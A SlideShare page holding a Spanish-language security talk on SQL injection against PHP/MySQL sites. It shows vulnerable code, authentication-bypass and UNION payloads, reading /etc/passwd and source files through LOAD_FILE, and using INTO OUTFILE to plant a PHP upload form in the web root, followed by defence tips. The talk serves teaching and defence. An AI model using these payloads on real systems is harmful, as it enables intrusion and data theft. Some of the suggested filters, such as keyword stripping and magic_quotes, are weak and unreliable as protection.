SlideShare una empresa de Scribd logo
Seguridad WEB:

SQL INJECTION




     Speaker: PUA. Juan Francisco Bosco
    Contact:boscofrancisco@hotmail.com
      Blog: http://magnobalt.blogspot.com
Historia de SQL
• 1970 Donald Chamberlin en los laboratorios de investigación de IBM. Este
  lenguaje se llamaba SEQUEL (Structured English Query Language).


• 1977 fue rescrito y se denomino SEQUEL/2, y finalmente por motivos legales,
  termina convirtiéndose en SQL.


• 1986, el ANSI adoptó SQL como estándar para los lenguajes relacionales


• 1987 se transfomó en estándar ISO


• Antes de 1990: Esquema Centralizados


• Actualidad: Internet
¿SQL INJECTION?
1# TOP TEN




• Vulnerabilidad: Se radica en la capa de aplicacion.

• Error: Mal filtrado en las variables de entradas a la DB.

• Alcanze: Cualquiera puede inyectar codigo SQL que será
  interpretado por el DBMS, pudiendo comprometer al
  HOST.
ESQUEMA
Ataques a la Seguridad



Integridad: Borrado o corrupcion de dato
       • INSERT, DELETE, DROP.

Disponibilidad: Denegacion de Servio
      • Consultas pesadas, exploit.

Confidencialidad: Obtención de información sensibles.
      • Bypass de autenticación
      • Inyección con UNION
      • Basadas en errores
      • Blind SQL Injection
0x01- Bypass de Autenticacion (POST)

Codigo Vulnerable:

1.$usuario=$_POST['nombre'];
2.$password=$_POST['pass'];
3.$sql="SELECT * FROM usuario WHERE
usuario='$usuario' AND password='$password'";
4.$login=mysql_query($sql,$conexion);


Caso Normal:
SELECT * FROM usuario WHERE usuario='admin' AND
password='admin123'


Caso con inyección de SQL: 'or 1=1--
SELECT * FROM usuario WHERE usuario=''or 1=1-- ' AND
password='loquesea'
DEMO 1
0x02 – Ataque con UNION (GET)


Codigo Vulnerable:
1.if(isset($_GET['id']) && !empty($_GET['id'])){
2.$id=$_GET['id'];
3.$sql="SELECT * FROM conceptos WHERE ID =$id";
4.$query=mysql_query($sql)

1) Verificando la falla:
Podemos provocar distintos comportamientos en una web lo
cual nos dará indicios de que la misma es vulnerable.
DEMO 1




DEMO 2
2) Contando campos:


Clausula UNION: Se usa para combinar el resultado de un
número de comandos SELECT en un conjunto de resultados.
Para usarlo nesesitamos la cantidad de campos que tiene el
primer SELECT.

1- Con ORDER BY: La forma es ir ordenando la salida de la
consulta por el número de posición de cada columna, una por
una, hasta que sobrepase el limite de campos.

2- Con UNION: Consiste en poder ir colocando columnas
hasta que la sentencia UNION se ejecute correctamente.

                                        DEMOSTRACIÓN
3)   Recoleccion de datos

MySQL contiene variables y funciones que otorgan
informacion al usuario, donde las mismas pueden ser usadas
para obtener datos importantes para el atacante.

                                   • version()
                                   • user()
                                   • database()
                                   • @@datadir




SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELEC 1,version(),3
4)Information Schema

El soporte para INFORMATION_SCHEMA está disponible
en MySQL 5.0.2 y posterior. Proporciona acceso a los
metadatos de la base de datos.
Metadatos son datos acerca de los datos, tales como el nombre
de la base de datos o tabla, el tipo de datos de una columna, o
permisos de acceso.
4.1)Obtener tablas mediante SCHEMA

Podemos obtener la informacion de todas las tablas en la base
de dato gracias a la vista, information_schema.tables.




SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELEC 1,table_name,3 FROM
INFORMATION_SCHEMA.TABLES
4.2) Obtener columnas mediante SCHEMA.

De la misma manera que obtuvimos las tablas podemos
conocer los nombres de las columnas de una respectiva tabla
consultando la vista information.schema.columns




SELECT * FROM NOTICIAS WHERE id= -1
UNION SELECT 1,column_name,3 FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = 'NAMETABLA'
0x03 Inyecciones SQL que Comprometen
                          al Host

Si el usuario que esta ejecutando las consultas SQL tiene el
permiso de FILE, podemos dar uso de las clausulas
LOAD_FILE e INTO OUTFILE.

 1) LOAD_FILE




Nos permite leer un archivo, y obtenerlo como una cadena.

SELECT * FROM NOTICIAS WHERE id= -1
UNION SELECT 1,load_file('/etc/passwd'),3
Probocando lo que se conoce como PATH DISCLOSURE,
obtenemos el DocumentRoot de la web, para poder leer los
archivos PHP.


Warning: mysql_fetch_array() expects parameter 1 to be
resource, boolean given in
/home/magno/www/joinea/index.php on line 49


Fabricamos la inyección:

SELECT * FROM NOTICIAS WHERE id= -1
UNION SELECT
1,load_file('/home/magno/www/joinea/index.php'),3
2) INTO OUTFILE




Esta clausula permite volcar el contenido de una tabla, a un
archivo.
Para poder usarla con exito en una inyección nesesitaremos,
permiso de escritura en algun directorio del DocumentRoot, y
las magic_quotes= off.

El codigo subido debe ser pasado a Hexadecimal:

0x484f4c41204a4f494e45412032303130: HOLA JOIENA
2010
Fabricamos la inyección:

SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELECT null,0x484f4c41204a4f494e45412032303130,null
INTO OUTFILE
'/home/magno/www/joinea/imagenes/joinea.txt'


Subiendo un Upload en PHP:

<html><form enctype="multipart/form-data" action=""
method="POST"><input type="hidden"
name="MAX_FILE_SIZE" value="10000000" />Choose a file to
upload: <input name="uploadedfile" type="file" /><br /><input
type="submit" value="Upload File" /></form></html><?php
$target_path = ""; $target_path = $target_path . basename(
$_FILES['uploadedfile']['name']); if(isset($_FILES['uploadedfile']
['name'])){if(move_uploaded_file($_FILES['uploadedfile']
['tmp_name'], $target_path)) {echo "El Archivo ".
basename( $_FILES['uploadedfile']['name']). "Ha sido Subido :)";}
else{echo "Hubo un error, intentar otra vez!!";}}?>
0x04 SQLi en CMS:
1#
SQL Injection Joinea 2010
2#
SQL Injection Joinea 2010
0x04 Las soluciones: Tips

1.   Addslashes()

 $usuario=addslashes($_POST['nombre']);



 $usuario='or 1=1 # output: ' or 1=1

 Similar: mysql_real_escape_string()

2. Magic_quotes: Habilitar en la configuracion de PHP
 (php.ini) al valor On. Esta caracteristica es despreciable a
 partir de PHP 5.3.0 y sera removido en la version 6.0.

3.   int()

 $id=(int)$_GET['id'];
4.   is_numeric()

 if (is_numeric($_GET['id']){
   echo “Es un entero”;
 }

5.   str_replace()

 $cadena = str_replace ("'", "", $cadena);
 $cadena = str_replace ("UNION", "", $cadena);
 $cadena = str_replace ("OR", "", $cadena);

6.   Prepared Statements:

 $mysqli = new mysqli('localhost', 'user', 'pass', 'db');
 $stmt= $mysqli ->prepare("SELECT usuario FROM
 usuarios WHERE usuario=?");
 $stmt->bind_param('s', $usuario);
 $stmt->execute();
7. Seguir el principio de mínimo privilegio en las
 conexiones con bases de datos.

8. El filtrado debé realizarse en el servidor en ultima
 instancia (no confiar en JavaScript, Flash etc).

9.   No dar información detallada sobre los errores
       ▪ “Contraseña incorrecta para el usuario usuario”.
       ▪ “Error al conectar a la base de datos midb“.
Muchas Gracias por su
      atención!



        EOF

Más contenido relacionado

DOCX
Sesion06c - Sentencias SQL en PL-SQL (Oracle)
PDF
Sentencias create
PPT
Gustavo php
ODP
04 Primeros pasos con my sql
PDF
Privilegios y funciones en MySQL
PDF
Inyecciones sql para todos
DOCX
Instrucciones básicas de my sql
Sesion06c - Sentencias SQL en PL-SQL (Oracle)
Sentencias create
Gustavo php
04 Primeros pasos con my sql
Privilegios y funciones en MySQL
Inyecciones sql para todos
Instrucciones básicas de my sql

La actualidad más candente (19)

DOC
MANUAL
DOCX
Sesion06a - Manipulacion de datos (Oracle)
PDF
Taller de MySQL (DDL)
PDF
Ejemplos de php_mysql
PPTX
Presentación de Regedit
PDF
(In) seguridad web
DOCX
Sesión12 - Trigger (Oracle)
DOCX
Instrucciones basicas de mySQL
PPTX
Regedit (editor de registro)
PPS
Registro de windows
PDF
Ejemplo Base de Datos SQLite (Android)
PPTX
curso android tema 5
PPTX
Presentación1
PPTX
Statement
PPTX
CONSULTA SQL ROMERO
PPTX
Sql plus oracle
PPTX
Asegúr@IT 7: Serialized SQL Injection
PDF
Taller oracle seguridad backup recovery 22092008
PPTX
Trabajo de registro
MANUAL
Sesion06a - Manipulacion de datos (Oracle)
Taller de MySQL (DDL)
Ejemplos de php_mysql
Presentación de Regedit
(In) seguridad web
Sesión12 - Trigger (Oracle)
Instrucciones basicas de mySQL
Regedit (editor de registro)
Registro de windows
Ejemplo Base de Datos SQLite (Android)
curso android tema 5
Presentación1
Statement
CONSULTA SQL ROMERO
Sql plus oracle
Asegúr@IT 7: Serialized SQL Injection
Taller oracle seguridad backup recovery 22092008
Trabajo de registro
Publicidad

Destacado (20)

PDF
IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
PDF
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
PDF
Cv jose a_vidal
PPS
O Vaso Ch[1]..
PDF
WF230P-02B
PPT
(How) Can Safe Sharing of EHRs Transform the Health System?
PPTX
*Sida el riesgo es real*
PPT
S06 ad4001 alumnos_ss
PDF
Teachers' Forum Report Compiled by Lillian Nyacheng
PPTX
Squarecap_General_Business
PPT
PPTX
Mi biografía
PPTX
2011 Marketing Class Uo W
DOCX
Effective Sequence of events of a meeting Designed by Deanna Senica
PPT
Mikrobiologie - CF relevante Keime
PDF
Jeep 2014 Uconnect 5.0 Owners Manual
PPTX
Caso muebles finos
PPT
Toeic3
PPT
Outsourcing-Ways to become a Freelancer
IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
Cv jose a_vidal
O Vaso Ch[1]..
WF230P-02B
(How) Can Safe Sharing of EHRs Transform the Health System?
*Sida el riesgo es real*
S06 ad4001 alumnos_ss
Teachers' Forum Report Compiled by Lillian Nyacheng
Squarecap_General_Business
Mi biografía
2011 Marketing Class Uo W
Effective Sequence of events of a meeting Designed by Deanna Senica
Mikrobiologie - CF relevante Keime
Jeep 2014 Uconnect 5.0 Owners Manual
Caso muebles finos
Toeic3
Outsourcing-Ways to become a Freelancer
Publicidad

Similar a SQL Injection Joinea 2010 (20)

DOCX
Inyeccion sql by Anonymous - Americalatina
PDF
Inyección_sql
PPTX
PHP_Mysql.pptx
PPTX
Mejores prácticas desarrollo de base de datos
ODP
Seguridad Base de Datos sql injection v1.0
PDF
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
PPT
Tema4[php]
PPT
Exploiting Web applications SQL Injection
DOCX
Tarea 4.docx siguientes conceptos de mys
PPTX
USO DEL LENGUAJE CON SOPORTE EN BASE DE DATOS EN WEB
PDF
Hacking ético en aplicaciones web [SQL Injection]
PDF
82 Php. Ver Y Modificar Estructuras
PPT
Acceso a base de datos con php
PDF
Sql injection
PPTX
SQL-INJECTION ciberseguridad y buenas practicas y otras areas de ti para su d...
PPTX
Curso php dia4
PPTX
Intrucion a bases de datos
PDF
PPT
Inyeccion sql
PPT
Php.y.my sql
Inyeccion sql by Anonymous - Americalatina
Inyección_sql
PHP_Mysql.pptx
Mejores prácticas desarrollo de base de datos
Seguridad Base de Datos sql injection v1.0
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
Tema4[php]
Exploiting Web applications SQL Injection
Tarea 4.docx siguientes conceptos de mys
USO DEL LENGUAJE CON SOPORTE EN BASE DE DATOS EN WEB
Hacking ético en aplicaciones web [SQL Injection]
82 Php. Ver Y Modificar Estructuras
Acceso a base de datos con php
Sql injection
SQL-INJECTION ciberseguridad y buenas practicas y otras areas de ti para su d...
Curso php dia4
Intrucion a bases de datos
Inyeccion sql
Php.y.my sql

SQL Injection Joinea 2010

  • 1. Seguridad WEB: SQL INJECTION Speaker: PUA. Juan Francisco Bosco Contact:boscofrancisco@hotmail.com Blog: http://magnobalt.blogspot.com
  • 2. Historia de SQL • 1970 Donald Chamberlin en los laboratorios de investigación de IBM. Este lenguaje se llamaba SEQUEL (Structured English Query Language). • 1977 fue rescrito y se denomino SEQUEL/2, y finalmente por motivos legales, termina convirtiéndose en SQL. • 1986, el ANSI adoptó SQL como estándar para los lenguajes relacionales • 1987 se transfomó en estándar ISO • Antes de 1990: Esquema Centralizados • Actualidad: Internet
  • 4. 1# TOP TEN • Vulnerabilidad: Se radica en la capa de aplicacion. • Error: Mal filtrado en las variables de entradas a la DB. • Alcanze: Cualquiera puede inyectar codigo SQL que será interpretado por el DBMS, pudiendo comprometer al HOST.
  • 6. Ataques a la Seguridad Integridad: Borrado o corrupcion de dato • INSERT, DELETE, DROP. Disponibilidad: Denegacion de Servio • Consultas pesadas, exploit. Confidencialidad: Obtención de información sensibles. • Bypass de autenticación • Inyección con UNION • Basadas en errores • Blind SQL Injection
  • 7. 0x01- Bypass de Autenticacion (POST) Codigo Vulnerable: 1.$usuario=$_POST['nombre']; 2.$password=$_POST['pass']; 3.$sql="SELECT * FROM usuario WHERE usuario='$usuario' AND password='$password'"; 4.$login=mysql_query($sql,$conexion); Caso Normal: SELECT * FROM usuario WHERE usuario='admin' AND password='admin123' Caso con inyección de SQL: 'or 1=1-- SELECT * FROM usuario WHERE usuario=''or 1=1-- ' AND password='loquesea'
  • 9. 0x02 – Ataque con UNION (GET) Codigo Vulnerable: 1.if(isset($_GET['id']) && !empty($_GET['id'])){ 2.$id=$_GET['id']; 3.$sql="SELECT * FROM conceptos WHERE ID =$id"; 4.$query=mysql_query($sql) 1) Verificando la falla: Podemos provocar distintos comportamientos en una web lo cual nos dará indicios de que la misma es vulnerable. DEMO 1 DEMO 2
  • 10. 2) Contando campos: Clausula UNION: Se usa para combinar el resultado de un número de comandos SELECT en un conjunto de resultados. Para usarlo nesesitamos la cantidad de campos que tiene el primer SELECT. 1- Con ORDER BY: La forma es ir ordenando la salida de la consulta por el número de posición de cada columna, una por una, hasta que sobrepase el limite de campos. 2- Con UNION: Consiste en poder ir colocando columnas hasta que la sentencia UNION se ejecute correctamente. DEMOSTRACIÓN
  • 11. 3) Recoleccion de datos MySQL contiene variables y funciones que otorgan informacion al usuario, donde las mismas pueden ser usadas para obtener datos importantes para el atacante. • version() • user() • database() • @@datadir SELECT * FROM NOTICIAS WHERE id= -1 UNION SELEC 1,version(),3
  • 12. 4)Information Schema El soporte para INFORMATION_SCHEMA está disponible en MySQL 5.0.2 y posterior. Proporciona acceso a los metadatos de la base de datos. Metadatos son datos acerca de los datos, tales como el nombre de la base de datos o tabla, el tipo de datos de una columna, o permisos de acceso.
  • 13. 4.1)Obtener tablas mediante SCHEMA Podemos obtener la informacion de todas las tablas en la base de dato gracias a la vista, information_schema.tables. SELECT * FROM NOTICIAS WHERE id= -1 UNION SELEC 1,table_name,3 FROM INFORMATION_SCHEMA.TABLES
  • 14. 4.2) Obtener columnas mediante SCHEMA. De la misma manera que obtuvimos las tablas podemos conocer los nombres de las columnas de una respectiva tabla consultando la vista information.schema.columns SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,column_name,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'NAMETABLA'
  • 15. 0x03 Inyecciones SQL que Comprometen al Host Si el usuario que esta ejecutando las consultas SQL tiene el permiso de FILE, podemos dar uso de las clausulas LOAD_FILE e INTO OUTFILE. 1) LOAD_FILE Nos permite leer un archivo, y obtenerlo como una cadena. SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,load_file('/etc/passwd'),3
  • 16. Probocando lo que se conoce como PATH DISCLOSURE, obtenemos el DocumentRoot de la web, para poder leer los archivos PHP. Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/magno/www/joinea/index.php on line 49 Fabricamos la inyección: SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,load_file('/home/magno/www/joinea/index.php'),3
  • 17. 2) INTO OUTFILE Esta clausula permite volcar el contenido de una tabla, a un archivo. Para poder usarla con exito en una inyección nesesitaremos, permiso de escritura en algun directorio del DocumentRoot, y las magic_quotes= off. El codigo subido debe ser pasado a Hexadecimal: 0x484f4c41204a4f494e45412032303130: HOLA JOIENA 2010
  • 18. Fabricamos la inyección: SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT null,0x484f4c41204a4f494e45412032303130,null INTO OUTFILE '/home/magno/www/joinea/imagenes/joinea.txt' Subiendo un Upload en PHP: <html><form enctype="multipart/form-data" action="" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="10000000" />Choose a file to upload: <input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form></html><?php $target_path = ""; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(isset($_FILES['uploadedfile'] ['name'])){if(move_uploaded_file($_FILES['uploadedfile'] ['tmp_name'], $target_path)) {echo "El Archivo ". basename( $_FILES['uploadedfile']['name']). "Ha sido Subido :)";} else{echo "Hubo un error, intentar otra vez!!";}}?>
  • 19. 0x04 SQLi en CMS: 1#
  • 21. 2#
  • 23. 0x04 Las soluciones: Tips 1. Addslashes() $usuario=addslashes($_POST['nombre']); $usuario='or 1=1 # output: ' or 1=1 Similar: mysql_real_escape_string() 2. Magic_quotes: Habilitar en la configuracion de PHP (php.ini) al valor On. Esta caracteristica es despreciable a partir de PHP 5.3.0 y sera removido en la version 6.0. 3. int() $id=(int)$_GET['id'];
  • 24. 4. is_numeric() if (is_numeric($_GET['id']){ echo “Es un entero”; } 5. str_replace() $cadena = str_replace ("'", "", $cadena); $cadena = str_replace ("UNION", "", $cadena); $cadena = str_replace ("OR", "", $cadena); 6. Prepared Statements: $mysqli = new mysqli('localhost', 'user', 'pass', 'db'); $stmt= $mysqli ->prepare("SELECT usuario FROM usuarios WHERE usuario=?"); $stmt->bind_param('s', $usuario); $stmt->execute();
  • 25. 7. Seguir el principio de mínimo privilegio en las conexiones con bases de datos. 8. El filtrado debé realizarse en el servidor en ultima instancia (no confiar en JavaScript, Flash etc). 9. No dar información detallada sobre los errores ▪ “Contraseña incorrecta para el usuario usuario”. ▪ “Error al conectar a la base de datos midb“.
  • 26. Muchas Gracias por su atención! EOF